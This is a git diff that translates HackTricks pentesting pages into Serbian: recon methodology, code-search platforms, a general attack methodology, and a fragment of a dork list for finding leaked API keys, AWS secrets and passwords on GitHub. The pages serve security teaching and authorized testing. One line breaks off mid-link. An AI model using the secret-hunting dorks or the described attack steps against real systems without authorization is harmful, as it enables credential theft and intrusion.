that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +Stari, ali zlatni google dorks uvek su korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tamo**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete pokrenuti ručno. Dakle, možete odabrati svojih 10 omiljenih ili možete koristiti alat kao što je [**Gorks**](https://github.com/carlospolop/Gorks) da ih sve pokrenete. -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +Napomena da alati koji očekuju da pokrenu celu bazu podataka koristeći redovni Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati. -### **Looking for vulnerabilities** +### **Traženje ranjivosti** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +Ako pronađete **važeće procurele** akreditacije ili API tokene, to je veoma jednostavna pobeda. -## Public Code Vulnerabilities +## Ranjivosti javnog koda -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu. -**Depending on the language** there are different **tools** you can use: +**Zavisno o jeziku**, postoje različiti **alati** koje možete koristiti: {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -There are also free services that allow you to **scan public repositories**, such as: +Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su: * [**Snyk**](https://app.snyk.io/) +## [**Metodologija testiranja penetracije veb aplikacija**](../../network-services-pentesting/pentesting-web/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +**Većina ranjivosti** koje pronalaze lovci na bagove nalaze se unutar **veb aplikacija**, pa bih ovde želeo da govorim o **metodologiji testiranja veb aplikacija**, a vi možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/). -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +Takođe želim da posebno pomenem sekciju [**Alati za automatsko skeniranje veb aplikacija otvorenog koda**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **radne tokove kako bi se dobile neke početne informacije o vebu**. -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +## Rekapitulacija -## Recapitulation +> Čestitam! Do ovog trenutka ste već obavili **svu osnovnu enumeraciju**. Da, osnovnu, jer se može obaviti mnogo više enumeracije (videćemo više trikova kasnije). -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +Dakle, već ste: -So you have already: +1. Pronašli sve **kompanije** u okviru opsega +2. Pronašli sve **resurse** koji pripadaju kompanijama (i obavili neko skeniranje ranjivosti ako je u opsegu) +3. Pronašli sve **domene** koje pripadaju kompanijama +4. Pronašli sve **poddomene** domena (ima li preuzimanja poddomena?) +5. Pronašli sve **IP adrese** (izvan i **izvan CDN-a**) u okviru opsega. +6. Pronašli sve **veb servere** i napravili **screenshot** (ima li nešto čudno što vredi detaljnije pogledati?) +7. Pronašli sve **potencijalne javne resurse u oblaku** koji pripadaju kompaniji. +8. **Emailove**, **curenja podataka o akreditivima** i **curenja tajni** koja vam mogu **lako doneti veliku dobit**. +9. **Testirali penetraciju svih veb lokacija koje ste pronašli** -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +## **Alati za automatsku potpunu rekonstrukciju** -## **Full Recon Automatic Tools** - -There are several tools out there that will perform part of the proposed actions against a given scope. +Postoji nekoliko alata koji će izvršiti deo predloženih radnji u okviru određenog opsega. * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo zastareo i nije ažuriran -## **References** +## **Reference** -* All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) +* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Savet za lov na bagove**: **Prijavite se** za **Intigriti**, premium **platformu za lov na bagove kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **100.000 dolara**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 677d7fa70..1b7e7a591 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,30 +2,30 @@
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Bug bounty savet**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. +Sada kada smo napravili listu resursa u našem opsegu, vreme je da tražimo neke niske plodove OSINT-a. -### Platforms that already searched for leaks +### Platforme koje su već pretraživale za procure * [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Procure API ključeva na Github-u * [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) * [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -40,7 +40,6 @@ Now that we have built the list of assets of our scope it's time to search for s * [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -322,17 +321,16 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 03816699e..ef4d66c1c 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,43 +1,43 @@ -# Wide Source Code Search +# Široko pretraživanje izvornog koda
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +Cilj ove stranice je da nabroji **platforme koje omogućavaju pretragu koda** (doslovno ili regex) u hiljadama/milionskim repozitorijumima na jednoj ili više platformi. -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +Ovo pomaže u nekoliko situacija za **pretragu procurelih informacija** ili za **obrasce ranjivosti**. -* [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -* [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - * Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Search across Gitlab projects. Support regexes. -* [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +* [**SourceGraph**](https://sourcegraph.com/search): Pretraga u milionima repozitorijuma. Postoji besplatna verzija i verzija za preduzeća (sa 15 dana besplatno). Podržava regexe. +* [**Github pretraga**](https://github.com/search): Pretraga na Github-u. Podržava regexe. +* Možda je korisno proveriti i [**Github pretragu koda**](https://cs.github.com/). +* [**Gitlab Napredna pretraga**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pretraga u Gitlab projektima. Podržava regexe. +* [**SearchCode**](https://searchcode.com/): Pretraga koda u milionima projekata. {% hint style="warning" %} -When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +Kada tražite procurele informacije u repozitorijumu i pokrenete nešto poput `git log -p`, ne zaboravite da mogu postojati **druge grane sa drugim commit-ovima** koji sadrže tajne! {% endhint %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index c574cb48d..74f78c8cc 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,176 +1,173 @@ -# Pentesting Methodology +# Metodologija pentestiranja
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repozitorijume**.
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se danas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -## Pentesting Methodology +## Metodologija pentestiranja
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks logo dizajnirao_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -### 0- Physical Attacks +### 0- Fizički napadi -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](../physical-attacks/escaping-from-gui-applications/). +Imate **fizički pristup** mašini koju želite da napadnete? Trebali biste pročitati neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/). -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**Zavisno** od toga da li je **test** koji vršite **interni ili eksterni test**, možda će vas zanimati pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje resursa kompanije na internetu** (eksterni test). {% hint style="info" %} -Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +Imajte na umu da ako vršite eksterni test, kada uspete da dobijete pristup internoj mreži kompanije, trebali biste ponovo pokrenuti ovaj vodič. {% endhint %} -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**Zabava sa mrežom**](pentesting-network/) **(Interni)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**Ova sekcija se odnosi samo na interni test.**\ +Pre nego što napadnete host, možda biste radije **ukrali neke akreditive** **iz mreže** ili **snifovali** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Network**](pentesting-network/#sniffing). -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [Skeniranje portova - Otkrivanje servisa](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da saznate koje **servise pokreću** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts). -### **4-** [Searching service version exploits](search-exploits.md) +### **4-** [Pretraga eksploita za verzije servisa](search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +Kada saznate koje servise pokreću, a možda i njihove verzije, morate **tražiti poznate ranjivosti**. Možda imate sreće i postoji eksploit koji će vam omogućiti pristup... -### **5-** Pentesting Services +### **5-** Pentestiranje servisa -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +Ako ne postoji nijedan zanimljiv eksploit za bilo koji pokrenuti servis, trebali biste tražiti **uobičajene greške u konfiguraciji za svaki pokrenuti servis**. -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**U ovom priručniku ćete pronaći vodič za pentestiranje najčešćih servisa** (i drugih koji nisu tako česti)**. Molimo, potražite u levom indeksu odeljak** _**PENTESTING**_ **(servisi su poređani prema njihovim podrazumevanim portovima).** -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](search-exploits.md) can be found here. +**Želim da posebno napomenem** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deo (jer je najobimniji).**\ +Takođe, ovde možete pronaći mali vodič o [**pronalaženju poznatih ranjivosti u softveru**](search-exploits.md). -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**Ako vaš servis nije u indeksu, potražite u Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete pronaći ništa** u Google-u, izvršite **svoj slepi pentest**, možete početi tako što ćete **se povezati na servis, izvršiti fuzzing i čitati odgovore** (ako ih ima). -#### 5.1 Automatic Tools +#### 5.1 Automatski alati -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +Postoji i nekoliko alata koji mogu izvršiti **automatsku procenu ranjivosti**. **Preporučio bih vam da isprobate** [**Legion**](https://github.com/carlospolop/legion)**, koji je alat koji sam kreirao i zasnovan je na beleškama o pentestiranju servisa koje možete pronaći u ovom priručniku.** -#### **5.2 Brute-Forcing services** +#### **5.2 Brute-Force servisa** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** +U nekim scenarijima **Brute-Force** može biti koristan za **kompromitovanje** servisa. [**Ovde pronađite CheatSheet za Brute-Force različitih servisa**](brute-force.md)**.** \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ +**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se danas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) i počnite da zarađujete nagrade do **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} ### 6- [Phishing](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +Ako do sada niste pronašli nijednu zanimljivu ranjivost, **možda ćete morati da pokušate sa phishing-om** kako biste se probili u mrežu. Možete pročitati moju metodologiju phishing-a [ovde](phishing-methodology/): -### **7-** [**Getting Shell**](shells/) +### **7-** [**Dobijanje Shell-a**](shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/). +Na neki način trebali biste pronaći **neki način za izvršavanje koda** na žrtvi. Zatim, [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila bi vrlo korisna](shells/). -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +Posebno u Windows-u možda će vam biti potrebna pomoć da **izbegnete antivirusne programe**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\ -### 8- Inside +### 8- Unutra -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +Ako imate problema sa shell-om, ovde možete pronaći malu **kompilaciju najkorisnijih komandi** za pentestere: -* [**Linux**](../linux-hardening/useful-linux-commands/) -* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -* [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) +* [**Linux**](../linux-hardening/useful +### **9 -** [**Izvlačenje**](exfiltration.md) -### **9 -** [**Exfiltration**](exfiltration.md) +Verovatno će vam biti potrebno **izvući neke podatke od žrtve** ili čak **uneti nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.** -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** +### **10- Eskalacija privilegija** -### **10- Privilege Escalation** +#### **10.1- Lokalna eskalacija privilegija** -#### **10.1- Local Privesc** +Ako niste **root/Administrator** unutar sistema, trebali biste pronaći način za **eskalaranje privilegija**.\ +Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija u** [**Linuxu**](../linux-hardening/privilege-escalation/) **i u** [**Windowsu**](../windows-hardening/windows-local-privilege-escalation/)**.**\ 